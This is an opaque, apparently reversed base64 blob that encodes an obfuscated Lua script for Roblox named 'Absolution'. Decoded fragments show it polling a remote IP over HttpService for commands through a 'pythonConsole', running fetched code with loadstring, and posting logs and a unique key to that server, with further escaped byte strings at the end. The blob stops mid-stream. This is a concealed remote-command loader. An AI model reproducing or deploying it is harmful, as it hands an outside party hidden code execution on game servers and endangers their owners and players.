udUYubm9pdHVsb3NiQSBlc2xlIGRuZSldMTNbYSxkdCh0bmlyUC5zbm9pdGNudUYubm9pdHVsb3NiQSldODlbYSxkdCx5KHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQSBuZWh0IG16IHRvbiBmaSlkbmUpcCx5KG5vaXRjbnVGLnQpKG5vaXRjbnVmKGxsYWNweT1kdCxteiBsYWNvbCldNzFbYSttIytlbiMoYnVzOnA9cCBuZWh0IGtuYVIudD0+KSl5KGduaXJ0c290KGtuYVJkbmlmOnNub2l0Y251Ri5ub2l0dWxvc2JBIGZpIG5laHQgbS4uXTI4W2EuLl0yOFthLi5lbj09KW0jK2VuIyxdNzFbYShidXM6cCBmaSBvZClzZXNVLnQoc3JpYXAgbmkgZW4sYXYgcm9mIG9kKXNkbmFtbW9DLm5vaXR1bG9zYkEoc3JpYXAgbmkgdCxuIHJvZilkbmUpKXkoZ25pcnRzb3QsZW1hTi5DUkkuc3RuYXRzbm9DcHR0SC5ub2l0dWxvc2JBLHAodGFoQy5DUkkuc3RuYXRzbm9DcHR0SC5ub2l0dWxvc2JBKShub2l0Y251ZihsbGFjcDtkbmUgZG5lIGRuZSldMTAxW2EsdCh0ZWtjYVBkbmVzOnJlbGRuYUgubm9pdHVsb3NiQSBuZWh0KWVtYU4udChnbmlyb25nSXNJLnNub2l0Y251Ri5ub2l0dWxvc2JBIHRvbiBmaSldMTNbYSxwLi5dMDAxW2EsdCh0dU8uc25vaXRjbnVGLm5vaXR1bG9zYkEpXTEzW2EsXTYwMVthLi5lbWFOLnkuLl01MDFbYS4udmQuLl00MDFbYSx0KHR1Ty5zbm9pdGNudUYubm9pdHVsb3NiQSlwKGV6aXRpbmFTLnNub2l0Y251Ri5ub2l0dWxvc2JBPXZkIGxhY29sIG5laHRdMzAxW2E8KXkoa25hUmRuaWY6c25vaXRjbnVGLm5vaXR1bG9zYkEgZG5hXTg5W2E9Pil0KGtuYVJkbmlmOnNub2l0Y251Ri5ub2l0dWxvc2JBIGRuYSlwKGV6aXRpbmFTLnNub2l0Y251Ri5ub2l0dWxvc2JBIGZpZXNsZSBkbmUpXTIwMVthLHQodGVrY2FQZG5lczpyZWxkbmFILm5vaXR1bG9zYkEpXTEwMVthLHQodGVrY2FQZG5lczpyZWxkbmFILm5vaXR1bG9zYkEgbmVodCllbWFOLnQoZ25pcm9uZ0lzSS5zbm9pdGNudUYubm9pdHVsb3NiQSB0b24gZmkpXTM0W2EscC4uXTAwMVthLHQodHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBKV0zNFthLGUuLl05OVthLHQodHVPLnNub2l0Y251Ri5ub2l0dWxvc2JBIG5laHQpKShyZXdvbDplbWFOLnQoZG5pZjopKHJld29sOnAgZmkgb2QpKHNyZXlhbFBMTEF0ZWc6c25vaXRjbnVGLm5vaXR1bG9zYkEsdHhlbiBuaSB0LG4gcm9mO2RuZSBkbmUgZG5lKWUsbixwKHRhaENkbmVzLnJlbGRuYUgubm9pdHVsb3NiQSBuZWh0IGU9fmVtYU4ubiBmaSBvZCkpKHNyZXlhbFBMTEF0ZWcuc25vaXRjbnVGLm5vaXR1bG9zYkEoc3JpYXAgbmkgbix0IHJvZiBuZWh0IHNyZXlhbFAuc2VjaXZyZVMubm9pdHVsb3NiQT1+dG5lcmFQLnkgZmk7cD1jIGxhY29sO2RuZSldODlbYShidXM6cD1wIG5laHRdNzlbYT09KV0xM1thLF03MVthKGJ1czpwIGZpKV02OVthIHJvXV01OVthW2ogZG5hXV01OVthW2ooPW0gbGFjb2wpKXkoZ25pcnRzb3QoZWxiYVRkZWtuYVJ0ZWcuc25vaXRjbnVGLm5vaXR1bG9zYkE9aiBsYWNvbDtlbWFOLnk9ZSBsYWNvbClwLHkobm9pdGNudWY9ZGV0dGFoQ25vLnNub2l0Y251Ri5ub2l0dWxvc2JBO2RuZV01W2EgbnJ1dGVyO2RuZSBkbmUgeSBucnV0ZXIgbmVodCkpKHJld29sOnkoZG5pZjopKHJld29sOnYgZmkgb2Qpc2Ryb1dyZWdnaXJULm5vaXR1bG9zYkEoc3JpYXBpIG5pIHksaiByb2Ypdihub2l0Y251Zj1leml0aW5hUy5zbm9pdGNudUYubm9pdHVsb3NiQTtkbmUgcCBucnV0ZXI7c25hYnBtZVQubm9pdHVsb3NiQT1wIGxhY29sKSgpbihnbmlydHNkYW9sPXkgbGFjb2wpXTMxW2EsXTQ5W2EuLnNuYWJwbWVULnN0bmF0c25vQ3B0dEgubm9pdHVsb3NiQS4uUEkuc3RuYXRzbm9DcHR0SC5ub2l0dWxvc2JBKGNueXNBdGVHOmVjaXZyZVNwdHRILnNlY2l2cmVTLm5vaXR1bG9zYkE9biBsYWNvbCkobm9pdGNudWY9c25hQnBtZVR0ZWcuc25vaXRjbnVGLm5vaXR1bG9zYkE7ZG5lIGRuZV0zMVthIG5ydXRlciBlc2xlIGogbnJ1dGVyKV0xM1thLGoodG5pclAuc25vaXRjbnVGLm5vaXR1bG9zYkEgbmVodCBuIHRvbiBmaSlkbmUpZGVkb2NuRWxyVW5vaXRhY2lscHBBLmVweVR0bmV0bm9DcHR0SC5tdW5FLGN2LF0zOVthLi5zbmFicG1lVC5zdG5hdHNub0NwdHRILm5vaXR1bG9zYkEuLlBJLnN0bmF0c25vQ3B0dEgubm9pdHVsb3NiQShjbnlzQXRzb1A6ZWNpdnJlU3B0dEguZW1hZz1sbCBsYWNvbCl2aih0PWN2IGxhY29sKWduaXJ0c290LHZqKGhjYWVyb2YuZWxiYXR9XWRuZXRbdmo9ZG5ldCxddHJhdHN0W3ZqPXRyYXRTZW1pdCxub3NhZXI9bm9zYWVSez1dZElyZXN1LmNbc25hYnBtZVQubm9pdHVsb3NiQX0pcCspKGtjaXQoPWRuZXQsKShrY2l0PXRyYXRzdCx5PW5vc2FlcixkSXJlc3UuYz1yZXlhbHB7PXZqIGxhY29sO2RuZSldMjlbYSx2cSh0YWNub2MuZWxiYXQgbnJ1dGVyO2RuZSkpYWMoZWRvY25FbHJVOmVjaXZyZVNwdHRILmVtYWcuLl0xOVthLi4pY3koZWRvY25FbHJVOmVjaXZyZVNwdHRILmVtYWcsdnEodHJlc25pLmVsYmF0IG9kKWNhKHNyaWFwIG5pIGFjLGN5IHJvZn17PXZxIGxhY29sKWNhKHQgbm9pdGNudWYgbGFjb2wpKG5vaXRjbnVmKGxsYWNweT1qLG4gbGFjb2wpcCx5LGMsbShub2l0Y251Zj1uYUJwbWVUdGVzLnNub2l0Y251Ri5ub2l0dWxvc2JBO2RuZSBtIG5ydXRlcilkZWRvY25FbHJVbm9pdGFjaWxwcEEuZXB5VHRuZXRub0NwdHRILm11bkUscCx5KGNueXNBdHNvUDplY2l2cmVTcHR0SC5lbWFnPW0gbGFjb2wpcChjPXA7ZG5lKV0yOVthLHQodGFjbm9jLmVsYmF0IG5ydXRlcjtkbmUpKW1qKGVkb2NuRWxyVTplY2l2cmVTcHR0SC5lbWFnLi5dMTlbYS4uKXBhKGVkb2NuRWxyVTplY2l2cmVTcHR0SC5lbWFnLHQodHJlc25pLmVsYmF0IG9kKW4oc3JpYXAgbmkgbWoscGEgcm9mfXs9dCBsYWNvbCluKGMgbm9pdGNudWYgbGFjb2x9dj1kbWMsaj1kb217PXAgbGFjb2w7c2dvbGRvTS5zdG5hdHNub0NwdHRILm5vaXR1bG9zYkEuLlBJLnN0bmF0c25vQ3B0dEgubm9pdHVsb3NiQT15IGxhY29sKXYsaihub2l0Y251Zj1nb0xkb01kbmVTLnNub2l0Y251Ri5ub2l0dWxvc2JBO2RuZSlxeShucnV0ZXI7ZG5lXTA5W2EuLnl6Li5xeT1xeSBlc2xlXTA5W2EuLnl6Li5dMzhbYS4ucXk9cXkgbmVodCldNzFbYT09KShuZWw6KXl6KGduaXJ0c290KGZpO2RuZV05OFthLi5uYS4ucXk9cXkgZXNsZV05OFthLi5uYS4uXTM4W2EuLnF5PXF5IG5laHQpXTcxW2E9PSkobmVsOiluYShnbmlydHNvdChmaTtkbmUgZG5lXTg4W2EuLmouLnF5PXF5IGVzbGVdODhbYS4uai4uXTM4W2EuLnF5PXF5IG5laHQpXTcxW2E9PSkobmVsOilqKGduaXJ0c290KGZpIG5laHRdMDFbYT5qIGZpO2RuZSBkbmVdNzhbYS4ubi4ucXk9cXkgZXNsZV03OFthLi5uLi5dMzhbYS4ucXk9cXkgbmVodCldNzFbYT09KShuZWw6KW4oZ25pcnRzb3QoZmkgbmVodF0wMVthPm4gZmk7ZG5lIGRuZV02OFthLi5wLi5xeT1xeSBlc2xlXTY4W2EuLnAuLl0zOFthLi5xeT1xeSBuZWh0KV03MVthPT0pKG5lbDopcChnbmlydHNvdChmaSBuZWh0XTAxW2E+cCBmaTtkbmUgZG5lXTU4W2EuLnkuLnF5PXF5IGVzbGVdNThbYS4ueS4uXTM4W2EuLnF5PXF5IG5laHQpXTcxW2E9PSkobmVsOil5KGduaXJ0c290KGZpIG5laHRdMDFbYT55IGZpO2RuZSBkbmVdNDhbYS4uYy4ucXk9cXkgZXNsZV00OFthLi5jLi5dMzhbYS4ucXk9cXkgbmVodCldNzFbYT09KShuZWw6KWMoZ25pcnRzb3QoZmkgbmVodF0wMVthPmMgZmldMjhbYT1xeSBsYWNvbCldNzFbYS90KHJvb2xmLmh0YW09eXpdMThbYSpuYS10PXQpXTE4W2EvdChyb29sZi5odGFtPW5hXTA4W2Eqai10PXQpXTA4W2EvdChyb29sZi5odGFtPWpdOTdbYSpuLXQ9dCldOTdbYS90KHJvb2xmLmh0YW09bl04N1thKnAtdD10KV04N1thL3Qocm9vbGYuaHRhbT1wXTc3W2EqeS10PXQpXTc3W2EvdChyb29sZi5odGFtPXldNjdbYSpjLXQ9dCldNjdbYS90KHJvb2xmLmh0YW09Yzt5eixuYSxqLG4scCx5LGMgbGFjb2wpKShrY2l0IHJvIHQgZG5hIHQoPXQpdChub2l0Y251Zj1lbWlUdGVHLnNub2l0Y251Ri5ub2l0dWxvc2JBO2RuZSkoc3RuaW9KZWthTTp5O2RuZV01W2E9ZGVyb2hjbkEucCBvZCkpKG5lcmRsaWhjOnkoc3JpYXAgbmkgcCxuIHJvZikpKG5lcmRsaWhjOnkoZGxldztkbmUgZG5lKShzdG5pb0prYWVyYjp6KV0zNFthL2VsYWNTbGxhQi5zZ25pdHRlUy5ub2l0dWxvc2JBLSxdMDFbYSxdMDFbYSh3ZW4uZW1hckZDKildMDFbYSwpaihkYXIuaHRhbSwpcChkYXIuaHRhbShzZWxnbkEuZW1hckZDKil2KHdlbi5lbWFyRkM9ZW1hckZDLnpdMDFbYT1lY2FmcnVTbW90dG9CLnpdMDFbYT1lY2FmcnVTcG9ULnpdMzFbYT1kZXJvaGNuQS56KV01N1thL2VsYWNTbGxhQi5zZ25pdHRlUy5ub2l0dWxvc2JBLF00N1thL2VsYWNTbGxhQi5zZ25pdHRlUy5ub2l0dWxvc2JBLF00N1thL2VsYWNTbGxhQi5zZ25pdHRlUy5ub2l0dWxvc2JBKHdlbi4zcm90Y2VWPWV6aVMuel0xNFthPXljbmVyYXBzbmFyVC56O2M9cm9sb0NrY2lyQi56XTM3W2E9cm90Y2FGbXJvZi56KXksXTI3W2Eod2VuLmVjbmF0c25JPXogbGFjb2wgb2RdOTZbYSxdMTdbYSxdMDdbYS09cCByb2YpKHRpYXcgb2RdOTZbYSxdODZbYSxdMDFbYT1qIHJvZikobW9kbmFSLnJvbG9Da2NpckI9YyBsYWNvbCluaWFycmVULmVjYXBza3JvdyxdNzZbYSh3ZW4uZWNuYXRzbkk9eSBsYWNvbCl2KG5vaXRjbnVmPWxsYUJla2FNLnNub2l0Y251Ri5ub2l0dWxvc2JBO2RuZSBkbmUgZG5lIGM9ejtkbmUgdD0wQy5wKWVtYXJGQy5jKGVjYXBTdGNlamJPb3Q6ZW1hckZDLno9dCBsYWNvbDtjPTF0cmFQLnA7dG5lcmFQLnA9MHRyYVAucCl6LF02NlthKHdlbi5lY25hdHNuST1wIGxhY29sIG5laHQgeiBmaSBuZWh0KV01NlthKEFzSTpjIGZpIG9kKXYoc3JpYXAgbmkgYyx5IHJvZl00NlthPXogbGFjb2wpdihkbGV3IG5vaXRjbnVmO2RuZSBkbmUpZWNhcHNrcm9XLnNlY2l2cmVTLm5vaXR1bG9zYkEsXTM2W2EuLmMuLl0yNlthLi5jLi5dMTZbYSh0cGlyY1NldGFlcmMuc25vaXRjbnVGLm5vaXR1bG9zYkEgZXNsZSllY2Fwc2tyb1cuc2VjaXZyZVMubm9pdHVsb3NiQSxdMDZbYS4uYy4uXTk1W2EodHBpcmNTZXRhZXJjLnNub2l0Y251Ri5ub2l0dWxvc2JBIG5laHRdMzFbYT09aiBmaSl2LGosYyhub2l0Y251Zj1ick9kYW9sLnNub2l0Y251Ri5ub2l0dWxvc2JBKWRuZSBkbmUgbj1kbmFtbW9Dc3VvaXZlcnAuZWxvc25vQ25vaHR5cC5zdG5hdHNub0NwdHRILm5vaXR1bG9zYkE7ZG5lKW4oZG5hbW1vQ3NzZWNvcnA6ZWxvc25vQ25vaHR5cC5zdG5hdHNub0NwdHRILm5vaXR1bG9zYkEgbmVodCdsbHVuJ2RuaWY6biB0b24gZG5hJ3RpeGUnZG5pZjpuIHRvbiBkbmEgZG5hbW1vQ3N1b2l2ZXJwLmVsb3Nub0Nub2h0eXAuc3RuYXRzbm9DcHR0SC5ub2l0dWxvc2JBPX5uIGZpKShkbmFtbW9DdGVnOmVsb3Nub0Nub2h0eXAuc3RuYXRzbm9DcHR0SC5ub2l0dWxvc2JBPW4gbGFjb2wgb2QpXTg1W2EodGlhdyBlbGlodychZGV0YWNpdG5laHR1YSByZXZyZVMndG5pcnApKSl5ZUtldXFpbnUubm9pdHVsb3NiQShnbmlydHNvdCh0YW1yb2Y6KW5vaXRhY2l0bmVodHVBLnYuLlBJLnYoKGNueXNBdGVHOmVjaXZyZVNwdHRILnNlY2l2cmVTLm5vaXR1bG9zYkEpdihub2l0Y251ZihldGFlcmMuZW5pdHVvcm9jPWV6aWxhaXRpbkkuZWxvc25vQ25vaHR5cC5zdG5hdHNub0NwdHRILm5vaXR1bG9zYkE7ZG5lIGRuZSldNzVbYSxdNjVbYSh0YWhDOmVsb3Nub0Nub2h0eXAuc3RuYXRzbm9DcHR0SC5ub2l0dWxvc2JBIGVzbGUpdixdNTVbYSh0YWhDOmVsb3Nub0Nub2h0eXAuc3RuYXRzbm9DcHR0SC5ub2l0dWxvc2JBIG5laHQgZSB0b24gZmkpZG5lKSgpcChnbmlydHNkYW9sKShub2l0Y251ZihsbGFjcHk9dixlIGxhY29sKV00NVthKGVjbnVvbm5BLnNub2l0Y251Ri5ub2l0dWxvc2JBKV00NVthKHRhaENkbmVzLnJlbGRuYUgubm9pdHVsb3NiQSlwLHkobm9pdGNudWY9ZG5hbW1vQ3NzZWNvcnAuZWxvc25vQ25vaHR5cC5zdG5hdHNub0NwdHRILm5vaXR1bG9zYkE7ZG5lIHAgbnJ1dGVyKV0zMVthLCkpeWVLZXVxaW51Lm5vaXR1bG9zYkEoZ25pcnRzb3QsbiwpYyhnbmlydHNvdCh0YW1yb2Y6KXZyZVN0YWhDLnYuLlBJLnYoKGNueXNBdGVHOmVjaXZyZVNwdHRILnNlY2l2cmVTLm5vaXR1bG9zYkE9cCBsYWNvbCluLGMsdihub2l0Y251Zj10YWhDLmVsb3Nub0Nub2h0eXAuc3RuYXRzbm9DcHR0SC5ub2l0dWxvc2JBO2RuZSB5IG5ydXRlcildMzFbYSwpKXllS2V1cWludS5ub2l0dWxvc2JBKGduaXJ0c290KHRhbXJvZjopc2RuYW1tb0MuZS4uUEkuZSgoY255c0F0ZUc6ZWNpdnJlU3B0dEguc2VjaXZyZVMubm9pdHVsb3NiQT15IGxhY29sKWUobm9pdGNudWY9ZG5hbW1vQ3RlZy5lbG9zbm9Dbm9odHlwLnN0bmF0c25vQ3B0dEgubm9pdHVsb3NiQTtkbmUgZSBucnV0ZXI7ZG5lKXBhci56KHJlYm11bm90K2U9ZSBvZClhdGFkLnYoc3JpYXAgbmkgeixwIHJvZl0wMVthPWUgbGFjb2wpdihlZG9jZUROT1NKOidlY2l2cmVTcHR0SCdlY2l2cmVTdGVHOmVtYWc9dildMzFbYSx5KGNueXNBdGVHOidlY2l2cmVTcHR0SCdlY2l2cmVTdGVHOmVtYWc9diBsYWNvbDtkSXJlc3Uuai4uXTM1W2E9eSBsYWNvbClqKG5vaXRjbnVmPXBhUnRlZy5zbm9pdGNudUYubm9pdHVsb3NiQTtkbmUgZG5lKWRuZSkpXTAxW2EsXTcxW2EsXTAxW2Eod2VuLjNyb2xvQyxdMjVbYShsdClkbmUpKV0wMVthLF03MVthLF0wMVthKHdlbi4zcm9sb0MsXTE1W2EobHQpKG5lcmRsaWhDbGxBcmFlbEM6bG4pKG5vaXRjbnVmKHRjZW5ub2M6bndvRDFub3R0dUJlc3VvTS5jKWRuZSBkbmUpKV03MVthLF0xNFthLF0wNVthKHdlbi4zcm9sb0MseXQobHQgbmVodCBvZm5JZWdhc3NlTS5lcHlUZWdhc3NlTS5tdW5FPT1xZCBmaWVzbGUpKV0wMVthLF0wMVthLF03MVthKHdlbi4zcm9sb0MseXQobHQgbmVodCByb3JyRWVnYXNzZU0uZXB5VGVnYXNzZU0ubXVuRT09cWQgZmllc2xlKSldMDVbYSxdMTJbYSxdNzFbYSh3ZW4uM3JvbG9DLHl0KGx0IG5laHQgZ25pbnJhV2VnYXNzZU0uZXB5VGVnYXNzZU0ubXVuRT09cWQgZmllc2xlKSldNzFbYSxdNzFbYSxdNzFbYSh3ZW4uM3JvbG9DLHl0KGx0IG5laHQgdHVwdHVPZWdhc3NlTS5lcHlUZWdhc3NlTS5tdW5FPT1xZCBmaTtkbmUgbnJ1dGVyIG5laHQpXTk0W2EoZG5pZjopKHJld29sOnl0IHJvKV04NFthKGRuaWY6KShyZXdvbDp5dCBybyldNzRbYShkbmlmOikocmV3b2w6eXQgZmkpcWQseXQobm9pdGNudWYodGNlbm5vYzp0dU9lZ2Fzc2VNLildNjRbYShlY2l2cmVTdGVHOmVtYWc7ZG5lIGRuZSldMDFbYSxdMDFbYSxdMDFbYSxdMTNbYSh3ZW4uMm1pRFU9ZXppU3Nhdm5hQy5sbiBuZWh0XTIxW2E8KShuZXJkbGloQ3RlRzpsbiNmaWVzbGUpXTUzW2ErKVkuZXppU2V0dWxvc2JBLmxuLXRlc2ZmTy5ZLmV6aVNzYXZuYUMubG4oLF0wMVthKHdlbi4ycm90Y2VWPW5vaXRpc29Qc2F2bmFDLmxuKW15LF0wMVthLF0wMVthLF0xM1thKHdlbi4ybWlEVT1lemlTc2F2bmFDLmxuKWxuKGNtPW15IGxhY29sIG5laHRdMjFbYT4pKG5lcmRsaWhDdGVHOmxuI2ZpO2xuPXRuZXJhUC52YV01NFthPXljbmVyYXBzbmFyVGVrb3J0U3R4ZVQudmFdNjFbYT10bmVtbmdpbEFZdHhlVC52YV05MVthPXRuZW1uZ2lsQVh0eGVULnZhKSlsbihjbStdMjFbYSxdMDFbYSxdMDFbYSxdMDFbYSh3ZW4uMm1pRFU9bm9pdGlzb1AudmEpXTIxW2EsXTAxW2EsXTAxW2EsXTcxW2Eod2VuLjJtaURVPWV6aVMudmFdNVthPWRlcHBhcld0eGVULnZhO21lPTNyb2xvQ3R4ZVQudmFdNTFbYT1lemlTdG5vRi52YV00MVthPXRub0YudmEpdnYsXTQ0W2EodGFtcm9mLmduaXJ0cz10eGVULnZhXTAxW2E9bGV4aVBlemlTcmVkcm9CLnZhXTcxW2E9eWNuZXJhcHNuYXJUZG51b3Jna2NhQi52YV0zNFthPXhlZG5JWi52YSldMjRbYSh3ZW4uZWNuYXRzbkk9dmEgbGFjb2wpbWUsdnYobHQgbm9pdGNudWYgbGFjb2w7ZG5lIHZ2IG5ydXRlcjtkbmUgZG5lXTIxW2ErdnY9dnYgbmVodF0yNFthPT1lbWFOc3NhbEMudmEgZmkgb2QpKShuZXJkbGloQ3RlRzp6ZChzcmlhcCBuaSB2YSxseSByb2ZdMjFbYS09dnYgbGFjb2wpemQoY20gbm9pdGNudWYgbGFjb2wpZG5lIGRuZSlkbmVdMzFbYT1lbGJpc2lWLmxuKShub2l0Y251ZixdMTRbYSh5YWxlZCldMzFbYSxdOTNbYSxdODNbYSxdNzNbYSwpXTYzW2EsXTAxW2EsXTkyW2EsXTAxW2Eod2VuLjJtaURVKGV6aVNuZWV3VDpsYV02MlthPXR4ZVQucF01W2E9aiBlc2xlKWRuZV01W2E9ZWxiaXNpVi5sbikobm9pdGNudWYsXTcxW2EoeWFsZWQpXTMxW2EsXTkzW2EsXTgzW2EsXTczW2EsKV0wMVthLF0wMVthLF05MlthLF0wMVthKHdlbi4ybWlEVShlemlTbmVld1Q6bGFdMDRbYT10eGVULnBdMzFbYT1qIG5laHRdNVthPT1qIGZpKShub2l0Y251Zih0Y2Vubm9jOm53b0Qxbm90dHVCZXN1b00ucCldMzFbYSxdOTNbYSxdODNbYSxdNzNbYSwpXTYzW2EsXTAxW2EsXTkyW2EsXTAxW2Eod2VuLjJtaURVKGV6aVNuZWV3VDpsYTtsYT10bmVyYVAubG5dNTNbYT1zc2Vua2NpaFRyYUJsbG9yY1MubG5dMDFbYT1sZXhpUGV6aVNyZWRyb0IubG5dNzFbYT15Y25lcmFwc25hclRkbnVvcmdrY2FCLmxuXTQzW2E9ZWdhbUltb3R0b0IubG5dMzNbYT1lZ2FtSXBvVC5sbl0yM1thPWVnYW1JZGlNLmxuKV0wMVthLF0wMVthLF0wMVthLF0xM1thKHdlbi4ybWlEVT1lemlTc2F2bmFDLmxuKV0wMVthLF03MVthLF0wMVthLF03MVthKHdlbi4ybWlEVT1lemlTLmxuKV0wM1thKHdlbi5lY25hdHNuST1sbiBsYWNvbDttPXRuZXJhUC5sYSldMDFbYSxdMDFbYSxdOTJbYSxdMDFbYSh3ZW4uMm1pRFU9ZXppUy5sYSldMjFbYSxdMDFbYSxdMDFbYSxdMDFbYSh3ZW4uMm1pRFU9bm9pdGlzb1AubGFdMDFbYT1sZXhpUGV6aVNyZWRyb0IubGFdODJbYT15Y25lcmFwc25hclRkbnVvcmdrY2FCLmxhKV0wMVthLF0wMVthLF0wMVthKHdlbi4zcm9sb0M9M3JvbG9DZG51b3Jna2NhQi5sYSldNzJbYSh3ZW4uZWNuYXRzbkk9bGEgbGFjb2w7bT10bmVyYVAucCldNzFbYSxdNzFbYSxdNzFbYSh3ZW4uM3JvbG9DPTNyb2xvQ3R4ZVQucF02MlthPXR4ZVQucF02MVthPXRuZW1uZ2lsQVl0eGVULnBdNTFbYT1lemlTdG5vRi5wXTQxW2E9dG5vRi5wKV0yMVthLF0wMVthLF0yMVthLF0wMVthKHdlbi4ybWlEVT1lemlTLnApXTAxW2EsXTAxW2EsXTMyW2EsXTcxW2Eod2VuLjJtaURVPW5vaXRpc29QLnBdMDFbYT1sZXhpUGV6aVNyZWRyb0IucCldMDFbYSxdMDFbYSxdMDFbYSh3ZW4uM3JvbG9DPTNyb2xvQ2RudW9yZ2tjYUIucF01W2E9cm9sb0Nub3R0dUJvdHVBLnBdNTJbYT1lbWFOLnApXThbYSh3ZW4uZWNuYXRzbkk9cCBsYWNvbDttPXRuZXJhUC5jXTQyW2E9dG5lbW5naWxBWHR4ZVQuY102MVthPXRuZW1uZ2lsQVl0eGVULmMpXTcxW2EsXTcxW2EsXTcxW2Eod2VuLjNyb2xvQz0zcm9sb0N0eGVULmNdNjFbYT10bmVtbmdpbEFZdHhlVC5jXTIyW2E9dHhlVC5jXTUxW2E9ZXppU3Rub0YuY100MVthPXRub0YuYyldMjFbYSxdMDFbYSxdMzJbYSxdMDFbYSh3ZW4uMm1pRFU9ZXppUy5jKV0wMVthLF0wMVthLF0wMVthLF03MVthKHdlbi4ybWlEVT1ub2l0aXNvUC5jXTAxW2E9bGV4aVBlemlTcmVkcm9CLmMpXTAxW2EsXTAxW2EsXTAxW2Eod2VuLjNyb2xvQz0zcm9sb0NkbnVvcmdrY2FCLmNdNVthPXJvbG9Dbm90dHVCb3R1QS5jXTMxW2E9ZXZpdGNBLmNdMjJbYT1lbWFOLmMpXThbYSh3ZW4uZWNuYXRzbkk9YyBsYWNvbDtuPXRuZXJhUC5tKV0wMVthLF0xMlthLF0wMVthLF0wMlthKHdlbi4ybWlEVT1ub2l0aXNvUC5tXTkxW2E9dG5lbW5naWxBWHR4ZVQubV04MVthPXR4ZVQubSldNzFbYSxdNzFbYSxdNzFbYSh3ZW4uM3JvbG9DPTNyb2xvQ3R4ZVQubV02MVthPXRuZW1uZ2lsQVl0eGVULm1dNTFbYT1lemlTdG5vRi5tXTQxW2E9dG5vRi5tXTMxW2E9ZWxiYWdnYXJELm0pXTIxW2EsXTAxW2EsXTExW2EsXTAxW2Eod2VuLjJtaURVPWV6aVMubV0wMVthPWxleGlQZXppU3JlZHJvQi5tKV0wMVthLF0wMVthLF0wMVthKHdlbi4zcm9sb0M9M3JvbG9DZG51b3Jna2NhQi5tXTVbYT1yb2xvQ25vdHR1Qm90dUEubV05W2E9ZW1hTi5tKV04W2Eod2VuLmVjbmF0c25JPW0gbGFjb2w7aXVHcmV5YWxQLnk9dG5lcmFQLm5dN1thPWVtYU4ubildNlthKHdlbi5lY25hdHNuST1uIGxhY29sXTVbYT1qIGxhY29sKShub2l0Y251Zihud2FwcyBuZWh0XTRbYT09ZW1hTnNzYWxDLildNFthKGRsaWhDdHNyaUZkbmlGOnkgZG5hKV00W2EoZGxpaEN0c3JpRmRuaUY6eSBmaSl5KG5vaXRjbnVmPXR1cHR1T2VrYU0uc25vaXRjbnVGLm5vaXR1bG9zYkE7ZG5lKWRuZSB6IG5ydXRlcjtjPXogbGFjb2wpbShub2l0Y251ZixwKGNueXNBZXRhZHBVOnk7di4uXTNbYT1wIGxhY29sKV0yW2EoZXJvdFNhdGFEdGVHOildMVthKGVjaXZyZVN0ZUc6ZW1hZz15IGxhY29sO2M9XXZbc2VtYW5rY2lOLm5vaXR1bG9zYkEpYyx2KG5vaXRjbnVmPWVtYU5rY2luLnNub2l0Y251Ri5ub2l0dWxvc2JBIjUxMVw1MTFcNTAxXDkwMVw1MTFcNTAxXDg2XDBcMFwwXDdcN1wyM1w4NVw4MDFcMTAxXDgxMVwxMDFcNjdcMjNcNTExXDUxMVwxMDFcOTlcOTlcNTZcMjNcMjExXDcxMVwxMTFcNDExXDE3XDBcMFwwXDAyXDdcMjNcODVcODAxXDEwMVw4MTFcMTAxXDY3XDIzXDUxMVw1MTFcMTAxXDk5XDk5XDU2XDBcMFwwXDQxXDdcMzNcMTAxXDk5XDc5XDIwMVw0MTFcMTAxXDYxMVwwMTFcMzdcMjNcMDAxXDEwMVw3MDFcMDExXDc5XDI4XDIzXDQxMVw3MTFcMTExXDEyMVwyM1wxMTFcNjExXDIzXDExMVwzMDFcMjNcMTExXDYxMVwyM1wxMDFcOTAxXDIzXDcwMVw5OVw1MDFcODAxXDc2XDBcMFwwXDA0XDdcMDNcODFcMTAxXDk5XDAxMVw3OVw2MTFcNTExXDUwMVw4NlwyM1w2MTFcMTAxXDM4XDBcMFwwXDIxXDdcODAxXDc5XDkwMVw0MTFcMTExXDg3XDBcMFwwXDZcN1wwMjFcMTExXDY2XDBcMFwwXDNcN1wxMDFcMjExXDEyMVw0OFwyM1w2MTFcMTAxXDgwMVw4OVw3OVw0OFwyM1w2MTFcMTAxXDM4XDBcMFwwXDUxXDdcMDExXDEwMVwxMDFcNDExXDMwMVwyM1w0MDFcNjExXDQxMVw3OVw5NlwwXDBcMFwxMVw3XDAxMVwxMDFcMTAxXDQxMVwzMDFcMjNcNzAxXDQxMVw3OVw4NlwwXDBcMFwwMVw3XDEwMVw3MTFcODAxXDg5XDIzXDEyMVw4MTFcNzlcODdcMFwwXDBcOVw3XDEwMVw3MTFcODAxXDg5XDIzXDIxMVwxMDFcMTAxXDg2XDBcMFwwXDlcN1w3OVw2MTFcMDExXDEwMVwzMDFcNzlcNzdcMFwwXDBcN1w3XDEwMVw1MTFcMTExXDI4XDIzXDEyMVw2MTFcNTExXDcxMVw4NlwwXDBcMFwwMVw3XDAxMVw5MTFcMTExXDQxMVw4OVwyM1w1NlwxN1w3NlwwXDBcMFw5XDdcMDExXDkxMVwxMTFcNDExXDg5XDIzXDQwMVw1MTFcNTAxXDAwMVwwMDFcMTAxXDI4XDBcMFwwXDMxXDdcMTExXDkwMVw3OVw3NlwwXDBcMFw0XDdcMTAxXDcxMVw4MDFcODlcMjNcNjExXDQwMVwzMDFcNTAxXDY3XDBcMFwwXDAxXDdcMDExXDc5XDEyMVw3NlwwXDBcMFw0XDdcNDExXDEwMVwwMDFcODAxXDU2XDBcMFwwXDVcN1wxMDFcODAxXDIxMVw0MTFcNzExXDIxMVwyM1w4MDFcNzlcMTIxXDExMVwyOFwwXDBcMFwyMVw3XDEwMVwzMDFcMDExXDc5XDQxMVwxMTFcMjNcNzAxXDQxMVw3OVw4NlwwXDBcMFwxMVw3XDYxMVw3OVwzMDFcNzExXDExMVw4N1wwXDBcMFw2XDdcMDExXDkxMVwxMTFcNDExXDY2XDBcMFwwXDVcN1wwMTFcMTAxXDEwMVw0MTFcMzAxXDIzXDEwMVw5MDFcNTAxXDY3XDBcMFwwXDAxXDdcMTAxXDYxMVw1MTFcNzlcMjExXDQwMVw2MTFcMTExXDExMVw0OFwwXDBcMFwwMVw3XDEwMVw3MTFcODAxXDg5XDIzXDEyMVw4MDFcODAxXDc5XDEwMVwyOFwwXDBcMFwxMVw3XDcwMVwwMTFcNTAxXDIxMVwyM1w2MTFcMTExXDI3XDBcMFwwXDhcN1wxMDFcMzAxXDAxMVw3OVw0MTFcMTExXDIzXDIxMVwx